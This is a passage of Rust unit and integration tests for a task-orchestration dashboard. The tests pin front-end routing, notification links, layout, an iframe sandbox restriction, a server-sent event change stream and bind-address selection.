20404        let triggers = group["triggers"].as_array().unwrap();
20405        assert_eq!(triggers.len(), 2);
20406        assert_ne!(triggers[0], triggers[1]);
20407        for id in triggers {
20408            assert!(
20409                field["original"]
20410                    .as_array()
20411                    .unwrap()
20412                    .iter()
20413                    .any(|f| &f["pair"] == id)
20414            );
20415            assert!(
20416                !field["changed"]
20417                    .as_array()
20418                    .unwrap()
20419                    .iter()
20420                    .any(|f| &f["pair"] == id)
20421            );
20422        }
20423        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20424            group["id"].as_u64().unwrap() as usize;
20425        assert!(
20426            QuestionView::of(q, &store, None).posting_view.is_none(),
20427            "group and trigger IDs cannot collide"
20428        );
20429    }
20430
20431    #[test]
20432    fn a_question_view_carries_markdown_for_each_thread_turn() {
20433        let home = TempDir::new().unwrap();
20434        let store = ask::Questions::at(home.path().join("questions"));
20435        let mut q = Question::new(
20436            "run".to_owned(),
20437            "implement".to_owned(),
20438            "impl-A".to_owned(),
20439            "which?".to_owned(),
20440            String::new(),
20441            Vec::new(),
20442        );
20443        q.say("plain words").unwrap();
20444        q.reply("use **this**", Vec::new()).unwrap();
20445        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20446        let bodies = &v["thread_bodies_md"];
20447        assert_eq!(bodies.as_array().unwrap().len(), 2);
20448        assert!(!bodies[0].to_string().contains("strong"));
20449        assert!(bodies[1].to_string().contains("strong"));
20450    }
20451
20452    #[test]
20453    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20454        let home = TempDir::new().unwrap();
20455        let store = ask::Questions::at(home.path().join("questions"));
20456        let mut q = Question::new(
20457            "run".to_owned(),
20458            "conduct".to_owned(),
20459            "conduct".to_owned(),
20460            "which?".to_owned(),
20461            String::new(),
20462            Vec::new(),
20463        );
20464        q.say("plain words").unwrap();
20465        q.thread.push(ask::Turn {
20466            who: ask::Who::Agent,
20467            body: "Settled as `merge`".to_owned(),
20468            at: jiff::Timestamp::now(),
20469            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20470        });
20471        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20472        let notes = &v["thread_notes_md"];
20473        assert_eq!(notes.as_array().unwrap().len(), 2);
20474        assert!(notes[0].is_null());
20475        let text = notes[1].to_string();
20476        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20477        assert!(APP_JS.contains("ask-turn-note"));
20478    }
20479
20480    #[test]
20481    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20482        // The land panel defers to `run.status` for merged, and labels a
20483        // recorded-open PR on any finished run (superseded, blocked, ...) as
20484        // last seen, never as live state.
20485        assert!(APP_JS.contains("function landView(run, raw) {"));
20486        assert!(
20487            APP_JS.contains(
20488                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20489            )
20490        );
20491        assert!(APP_JS.contains("const pr = landView(run, raw);"));
20492        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20493        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20494        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20495    }
20496
20497    #[test]
20498    fn live_runs_are_never_hidden_or_folded_as_superseded() {
20499        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
20500        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20501        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20502        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20503    }
20504
20505    #[test]
20506    fn review_rounds_label_a_distinct_verified_head() {
20507        assert!(APP_JS.contains("round.verified_head"));
20508        assert!(APP_JS.contains("verified HEAD"));
20509        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20510    }
20511
20512    #[test]
20513    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20514        // A blocked task's chip and note must not fall back to a queued-like
20515        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
20516        // itself by e11fc58 but never checked here.
20517        assert!(APP_JS.contains("blocked: { glyph:"));
20518        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20519
20520        // `blocked_by` mixes task ids and question ids in the same list, and
20521        // the client can only tell them apart by checking each id against
20522        // what it actually knows - never by guessing from the id's shape.
20523        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20524        assert!(
20525            APP_JS.contains(
20526                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20527            ),
20528            "the note line must name what a blocked task is waiting on, not just that it is blocked"
20529        );
20530        // The classification must key off `status_str`, never off `blocked_by`
20531        // or `block_reason` merely being present - both can survive briefly
20532        // on a task a hold or a dead daemon just moved off `blocked`.
20533        assert!(APP_JS.contains("if (status === \"blocked\") {"));
20534
20535        // A question a task is blocked on gets its own node in the same
20536        // dependency graph, not just a task-shaped node with nothing known
20537        // about it.
20538        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20539        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20540        assert!(
20541            APP_JS.contains("location.hash = \"#/questions\";"),
20542            "a question node must jump to the Questions screen, not pretend to be a task"
20543        );
20544
20545        // `Task::answers` - decisions already made - are shown as a record on
20546        // the card, the same disclosure style as the full instruction.
20547        assert!(APP_JS.contains("Resolved questions"));
20548        assert!(APP_JS.contains("r.answersList.append("));
20549        assert!(APP_CSS.contains(".task-answers"));
20550        {
20551            let start = APP_JS
20552                .find("function updateTalkTaskRow")
20553                .expect("updateTalkTaskRow");
20554            let body = &APP_JS[start..];
20555            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20556            assert!(
20557                body.contains(
20558                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20559                ),
20560                "a chat-filed task row must link to the task page"
20561            );
20562            assert!(
20563                !body.contains("#/runs/") && !body.contains("#/queue/"),
20564                "the row must not branch to a run or the queue card"
20565            );
20566            assert!(APP_CSS.contains(".talk-task-link"));
20567        }
20568    }
20569
20570    #[test]
20571    fn a_task_notification_links_to_the_task_page() {
20572        // A task notice opens the task detail page, not the Backlog card.
20573        let start = APP_JS
20574            .find("function noticeLink(")
20575            .expect("noticeLink exists");
20576        let body = &APP_JS[start..];
20577        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20578        assert!(
20579            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20580            "a task notice's link must target the task page"
20581        );
20582        assert!(
20583            !body.contains("#/queue/"),
20584            "regression: the task link must not go back to the Backlog route"
20585        );
20586        assert!(
20587            APP_JS.contains(
20588                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20589            ),
20590            "`#/tasks/<id>` must parse into the task route"
20591        );
20592
20593        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
20594        assert!(
20595            APP_JS.contains(
20596                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20597            ),
20598            "`#/queue/<id>` must parse into a route carrying that id"
20599        );
20600
20601        // And the Backlog view has to actually land on the card once it can
20602        // - see consumeQueueFocus(), which renderQueue() calls on every pass
20603        // so a focus set before the queue has loaded is retried once it has.
20604        assert!(APP_JS.contains("state.queueFocus = route.id;"));
20605        assert!(APP_JS.contains("function consumeQueueFocus()"));
20606        assert!(APP_JS.contains("jumpToTask(id)"));
20607    }
20608
20609    #[test]
20610    fn notifications_distinguish_actionable_questions_from_informational_notices() {
20611        let start = APP_JS
20612            .find("function noticeCoveredBy(")
20613            .expect("noticeCoveredBy exists");
20614        let body = &APP_JS[start..];
20615        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20616
20617        // Historical associations are informational, even for open questions.
20618        assert!(body.contains("Associated question ${short}"));
20619        assert!(!body.contains("el(\"a\""));
20620
20621        // A resolved question displays status rather than an actionable link
20622        assert!(body.contains("(resolved)"));
20623        assert!(body.contains("(closed)"));
20624
20625        let start = APP_JS
20626            .find("function renderNotifications()")
20627            .expect("renderNotifications exists");
20628        let body = &APP_JS[start..];
20629        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20630
20631        // Only a server-resolved answerable question supplies a response link.
20632        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20633        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20634        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
20635        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20636    }
20637
20638    /// Chat rows are two lines at every width: the title alone, then the
20639    /// shrinkable secondary info.
20640    #[test]
20641    fn chat_rows_put_the_title_alone_on_the_first_line() {
20642        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
20643        assert!(APP_CSS.contains(
20644            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20645        ));
20646        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20647        assert!(APP_JS.contains("class: \"badge talk-unread\""));
20648    }
20649
20650    #[test]
20651    fn run_rows_put_the_title_alone_on_the_first_line() {
20652        assert!(
20653            APP_CSS.contains(
20654                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
20655            )
20656        );
20657        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20658        assert!(APP_JS.contains("class: \"card run-card\""));
20659        assert!(APP_JS.contains("class: \"repo run-id\""));
20660    }
20661
20662    /// Wide screens get a master/detail layout built from the views a phone
20663    /// drills into. These are string assertions: they pin the contract between
20664    /// the three assets, not how it looks.
20665    #[test]
20666    fn wide_screens_show_list_and_preview_side_by_side() {
20667        // One breakpoint, spelled the same in the script and the stylesheet.
20668        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20669        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20670        assert!(APP_CSS.contains("main[data-split]"));
20671        assert!(APP_CSS.contains("body[data-split]"));
20672
20673        // The route -> panes table, and a narrow screen opting out of it.
20674        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
20675        assert!(
20676            APP_JS.contains(
20677                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20678            )
20679        );
20680        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20681        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20682        assert!(INDEX_HTML.contains("id=\"split-empty\""));
20683
20684        // Selection is derived from the route, and only ever paints a row.
20685        assert!(APP_JS.contains("function markSelected() {"));
20686        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20687        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20688        // The dense row must override the stacked card the 720px block sets up.
20689        assert!(
20690            APP_CSS.contains(
20691                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20692            )
20693        );
20694
20695        // Independent scrolling: the page stops scrolling, each pane does.
20696        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20697        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20698        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20699        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20700
20701        // A refresh must never navigate: the loaders still check that their
20702        // subject is the one on screen, and crossing the breakpoint only
20703        // re-reads the hash.
20704        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20705        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20706        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20707        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20708
20709        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
20710        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20711    }
20712
20713    #[test]
20714    fn panel_sandbox_carries_exactly_popups() {
20715        let needle = "sandbox: \"";
20716        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20717        assert_eq!(
20718            matches.len(),
20719            1,
20720            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20721        );
20722        let start = matches[0].0 + needle.len();
20723        let end = APP_JS[start..]
20724            .find('"')
20725            .expect("sandbox attribute value must be terminated by a closing quote");
20726        let val = &APP_JS[start..start + end];
20727        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20728        let expected: std::collections::BTreeSet<&str> =
20729            ["allow-popups", "allow-popups-to-escape-sandbox"]
20730                .into_iter()
20731                .collect();
20732        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20733        assert!(
20734            !tokens.contains("allow-scripts"),
20735            "allow-scripts must never be present in sandbox"
20736        );
20737        assert!(
20738            !tokens.contains("allow-same-origin"),
20739            "allow-same-origin must never be present in sandbox"
20740        );
20741    }
20742
20743    #[test]
20744    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20745        // consumeQueueFocus() clears an active Backlog search before it can
20746        // scroll to the target card (the sections list is hidden while a
20747        // search is showing), by recursing back into renderQueue(). The
20748        // fixer's first cut nulled state.queueFocus before that recursive
20749        // call, so the second pass saw nothing to jump to and the jump was
20750        // silently dropped whenever a notification's link was opened with a
20751        // stale search still active. state.queueFocus must only be cleared
20752        // right before jumpToTask() actually runs.
20753        assert!(
20754            APP_JS.contains(
20755                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
20756            ),
20757            "the search-clearing branch must run before state.queueFocus is cleared, or the \
20758             recursive renderQueue() call has nothing left to jump to"
20759        );
20760        assert!(
20761            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20762            "state.queueFocus must be cleared only once the jump has landed, so a card that \
20763             arrives later still gets it"
20764        );
20765        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20766        assert!(APP_JS.contains("is not in the current Backlog."));
20767        assert!(APP_JS.contains("li.card[data-task-id=\""));
20768        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20769        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20770        assert!(APP_CSS.contains(".card-permalink"));
20771        assert!(APP_CSS.contains(".queue-focus-status"));
20772        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20773    }
20774
20775    #[test]
20776    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20777        // The task's own repro: only the link text inside .notice-meta was
20778        // clickable, so a tap on the message, the timestamp, or the card's
20779        // padding did nothing - on a phone that reads as "the card doesn't
20780        // work" even though the tiny link inside it did. Mark read / Dismiss
20781        // must keep working independently of this: `.closest("a, button")`
20782        // is what lets a tap that actually lands on those elements fall
20783        // through instead of being hijacked into a navigation.
20784        assert!(
20785            APP_JS.contains(
20786                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20787            ),
20788            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20789        );
20790    }
20791
20792    #[test]
20793    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20794        assert!(
20795            APP_JS.contains("round.verified_head !== round.head"),
20796            "a round that verified an earlier commit must be visibly distinct from one that \
20797             verified the head reviewers are looking at now"
20798        );
20799        assert!(
20800            APP_JS.contains("round.verified_at"),
20801            "when a check ran must be on the wire, not just which commit"
20802        );
20803        assert!(
20804            APP_JS.contains("resource_blocked"),
20805            "a command magi never got to run (shared build cache contention) must not render \
20806             the same as a command that ran and failed"
20807        );
20808    }
20809
20810    #[test]
20811    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20812        // Every KPI tile but Total runs and Completion names an exact
20813        // RunStatus and hands it to openRunsFiltered(), which is what wires
20814        // the click into state.runsFilter.status (matchesFilter's own
20815        // status check) rather than the coarser runsStateFilter chips. Each
20816        // status literal here must be one of the strings runSection() (and
20817        // isStale()) actually compare a run's own `status` field against -
20818        // a status this dashboard invented would filter to nothing.
20819        assert!(
20820            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20821            "every KPI tile built through statusTile() must route its click through \
20822             openRunsFiltered, the single place that sets the Runs filter"
20823        );
20824        for (label, status) in [
20825            ("Merged", "merged"),
20826            ("Ready", "ready"),
20827            ("Blocked", "blocked"),
20828            ("Stalled", "stalled"),
20829        ] {
20830            let call = format!("statusTile(\"{label}\", t.{status}, ");
20831            assert!(
20832                APP_JS.contains(&call),
20833                "expected the {label} KPI tile built via {call}..."
20834            );
20835            assert!(
20836                APP_JS.contains(&format!("status === \"{status}\"")),
20837                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20838                 compare a run against, not one invented only for the stats tile"
20839            );
20840        }
20841        assert!(
20842            APP_JS.contains("function openRunsFiltered(status)"),
20843            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20844        );
20845        assert!(
20846            APP_JS.contains(
20847                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20848            ),
20849            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20850        );
20851        // applyRoute() only flips which view is visible for a plain `#runs`
20852        // hash - it does not itself redraw the list (see applyRoute's own
20853        // handling below) - so openRunsFiltered must call renderRuns()
20854        // itself, and must call applyRoute() too so the view flips even
20855        // when the hash string doesn't change (the operator may already be
20856        // on the Runs view when a tile is tapped, which fires no
20857        // hashchange event at all).
20858        assert!(
20859            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
20860            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20861             hashchange event that may never fire"
20862        );
20863    }
20864
20865    #[test]
20866    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20867        // A stats tile can leave state.runsFilter.status set to something
20868        // done-by-construction (e.g. "merged") - picking "Active" afterward
20869        // must drop it the same way an incompatible tree section is already
20870        // dropped, or the Runs list renders permanently empty with no way
20871        // for the operator to tell why.
20872        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20873        assert!(
20874            APP_JS.contains(
20875                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
20876            ),
20877            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20878             guard for an incompatible tree section"
20879        );
20880    }
20881
20882    #[test]
20883    fn every_stats_queue_tile_names_a_real_queue_section() {
20884        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
20885        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
20886        // (consumeQueueSectionFocus finds no matching <details> and drops
20887        // the focus) rather than fail loudly, so pin every key against the
20888        // section list it has to resolve against.
20889        assert!(
20890            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20891            "every queue tile built through sectionTile() must route its click through \
20892             openQueueSectionFocus"
20893        );
20894        for key in ["upnext", "running", "done", "held", "blocked"] {
20895            assert!(
20896                APP_JS.contains(&format!("{{ key: \"{key}\",")),
20897                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20898            );
20899        }
20900        // Queued and Failed intentionally both resolve to "upnext" - the
20901        // same section queueSection() itself files them under - rather than
20902        // getting a section each.
20903        for line in [
20904            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20905            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20906            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20907            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20908            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20909            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20910        ] {
20911            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20912        }
20913    }
20914
20915    #[test]
20916    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20917        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
20918        // above for the section-focus channel a stats queue tile drives:
20919        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
20920        // through the stale-search-clear recursion into renderQueue(), and
20921        // clear it only once revealQueueSection() is actually about to run -
20922        // the same trap that once silently dropped a task-focus jump.
20923        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20924        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20925        assert!(APP_JS.contains("function revealQueueSection(details)"));
20926        assert!(
20927            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
20928            "renderQueue() must consume both focus channels on every pass"
20929        );
20930        assert!(
20931            APP_JS.contains(
20932                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
20933            ),
20934            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20935             the recursive renderQueue() call has nothing left to reveal"
20936        );
20937        assert!(
20938            APP_JS.contains(
20939                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
20940            ),
20941            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20942        );
20943        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20944        // task-focus form of the hash - a plain `#queue` navigation only
20945        // flips which view is visible. openQueueSectionFocus() must
20946        // therefore call renderQueue() itself, and applyRoute() too so the
20947        // view flips even when the hash doesn't change (the Backlog may
20948        // already be open when a tile is tapped, firing no hashchange
20949        // event at all).
20950        assert!(
20951            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20952            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20953             hashchange event that may never fire"
20954        );
20955    }
20956
20957    #[tokio::test]
20958    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20959        let f = Fixture::start().await;
20960
20961        let mut socket = tokio::net::TcpStream::connect(f.addr)
20962            .await
20963            .expect("connect");
20964        socket
20965            .write_all(
20966                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20967            )
20968            .await
20969            .expect("write request");
20970
20971        // Read until the first event arrives rather than to end of stream: the
20972        // stream is endless by design, which is the point of the route.
20973        let mut seen = String::new();
20974        let mut buf = [0u8; 1024];
20975        while !seen.contains("event: change") {
20976            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20977                .await
20978                .expect("the stream must speak within five seconds")
20979                .expect("read");
20980            assert!(read > 0, "the server closed the change stream: {seen}");
20981            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20982        }
20983
20984        assert!(
20985            seen.to_lowercase()
20986                .contains("content-type: text/event-stream"),
20987            "the browser only reconnects automatically for a real SSE stream: {seen}"
20988        );
20989        let data = seen
20990            .lines()
20991            .find_map(|l| l.strip_prefix("data:"))
20992            .expect("a data line");
20993        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20994        assert!(
20995            payload["queue_rev"].is_u64()
20996                && payload["runs_rev"].is_u64()
20997                && payload["questions_rev"].is_u64()
20998                && payload["talks_rev"].is_u64()
20999                && payload["notifications_rev"].is_u64()
21000                && payload["loop_rev"].is_u64(),
21001            "the client needs one revision per store to know what to refetch, \
21002             and `talks_rev` is the only notification a standing talk gets - a \
21003             phone whose radio slept through a turn learns about it here, as \
21004             does one whose operator started the loop from another device: \
21005             {payload}"
21006        );
21007
21008        // The front end re-polls health on a timer and on wake, and takes the
21009        // revisions from that answer whenever the stream is not up. So health
21010        // has to carry every key the stream carries: a phone on a link that
21011        // will not hold an SSE connection is exactly the phone that must still
21012        // notice a question, and a missing key there is not a 500 but a UI
21013        // that quietly stops updating.
21014        let health = f.get("/api/health").await.json();
21015        for key in [
21016            "queue_rev",
21017            "runs_rev",
21018            "questions_rev",
21019            "talks_rev",
21020            "notifications_rev",
21021            "loop_rev",
21022        ] {
21023            assert!(
21024                health[key].is_u64(),
21025                "health is the change stream's fallback and is missing `{key}`: {health}"
21026            );
21027        }
21028    }
21029
21030    #[tokio::test]
21031    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21032        let f = Fixture::start().await;
21033        let before = f.get("/api/health").await.json()["talks_rev"]
21034            .as_u64()
21035            .expect("talks_rev");
21036
21037        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21038        std::thread::sleep(Duration::from_millis(10));
21039        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21040        on_disk.turns.push(crate::talk::Turn {
21041            sender: None,
21042            breaks: Some(Vec::new()),
21043            messages: Vec::new(),
21044            posted_by: None,
21045            who: crate::talk::Who::Operator,
21046            body: "a new turn".to_owned(),
21047            at: Timestamp::now(),
21048            attachments: Vec::new(),
21049            usage: None,
21050        });
21051        f.talks().put(&mut on_disk).expect("record a turn");
21052
21053        let after = tokio::time::timeout(Duration::from_secs(5), async {
21054            loop {
21055                let revision = f.get("/api/health").await.json()["talks_rev"]
21056                    .as_u64()
21057                    .unwrap();
21058                if revision != before {
21059                    break revision;
21060                }
21061                tokio::time::sleep(Duration::from_millis(50)).await;
21062            }
21063        })
21064        .await
21065        .expect("shared monitor observes external turn");
21066        assert_ne!(
21067            before, after,
21068            "a phone must be able to notice a talk's reply without polling every store"
21069        );
21070    }
21071
21072    #[test]
21073    fn bind_reads_back_from_the_spelling_the_cli_prints() {
21074        // The CLI shows the default in `--help` and parses whatever comes
21075        // back, so the two directions have to agree or `--bind auto` breaks
21076        // the moment someone copies the help text.
21077        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21078            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21079        }
21080        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21081        assert!("everywhere".parse::<Bind>().is_err());
21082    }
21083
21084    #[test]
21085    fn an_explicit_bind_address_is_taken_verbatim() {
21086        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21087
21088        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
21089
21090        assert_eq!(addr, asked);
21091        assert!(
21092            warning.is_none(),
21093            "an operator who named an address gets no lecture"
21094        );
21095    }
21096
21097    #[test]
21098    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
21099        let (addr, warning) = resolve_bind(&Bind::Auto);
21100
21101        // This has to hold on a CI runner with no `tailscale` and on a dev box
21102        // with one, so the invariant asserted is the one shared by both
21103        // outcomes: the address is either a real tailnet address offered
21104        // without comment, or loopback with an explanation. What must never
21105        // happen is a silent fallback - an operator told "listening on
21106        // 127.0.0.1" with no reason would go looking for a firewall.
21107        match addr {
21108            IpAddr::V4(ip) if is_tailnet(&ip) => {
21109                assert!(warning.is_none(), "a tailnet address needs no warning");
21110            }
21111            other => {
21112                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
21113                let warning = warning.expect("a fallback has to explain itself");
21114                assert!(
21115                    warning.contains("127.0.0.1") && warning.contains("local-only"),
21116                    "the warning says what happened and what it costs: {warning}"
21117                );
21118            }
21119        }
21120    }
21121
21122    #[test]
21123    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
21124        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
21125        // boundary cases are what stop us binding to some other tool's idea of
21126        // an address.
21127        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
21128        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
21129        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
21130        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
21131        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
21132    }
21133
21134    #[test]
21135    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
21136        let ids = vec![
21137            "20260902-140501-aaaa".to_owned(),
21138            "20260902-140502-aabb".to_owned(),
21139        ];
21140
21141        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
21142        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
21143        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
21144
21145        assert_eq!(missing.status, StatusCode::NOT_FOUND);
21146        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
21147        assert_eq!(short, "20260902-140502-aabb");
21148    }
21149    #[tokio::test]
21150    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
21151        // The prompt tells agents to reference attachments by bare filename.
21152        // A document served at `.../panel` resolves `shot.png` against its own
21153        // directory, i.e. `.../shot.png`, which is not the asset route - so a
21154        // panel written exactly as instructed showed broken images. Caught by
21155        // looking at a real one in a browser, not by reading the code.
21156        let fx = Fixture::start().await;
21157        let id = panel(
21158            &fx,
21159            "<img src=\"shot.png\">",
21160            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
21161        );
21162
21163        // The frame's own URL ends in a filename, so its siblings are reachable.
21164        let doc = fx
21165            .get(&format!("/api/questions/{id}/panel/index.html"))
21166            .await;
21167        assert_eq!(doc.status, 200, "{}", doc.body);
21168        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
21169
21170        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
21171        assert_eq!(sibling.status, 200, "{}", sibling.body);
21172        assert_eq!(sibling.header("content-type"), Some("image/png"));
21173        assert_eq!(
21174            sibling.header("content-security-policy"),
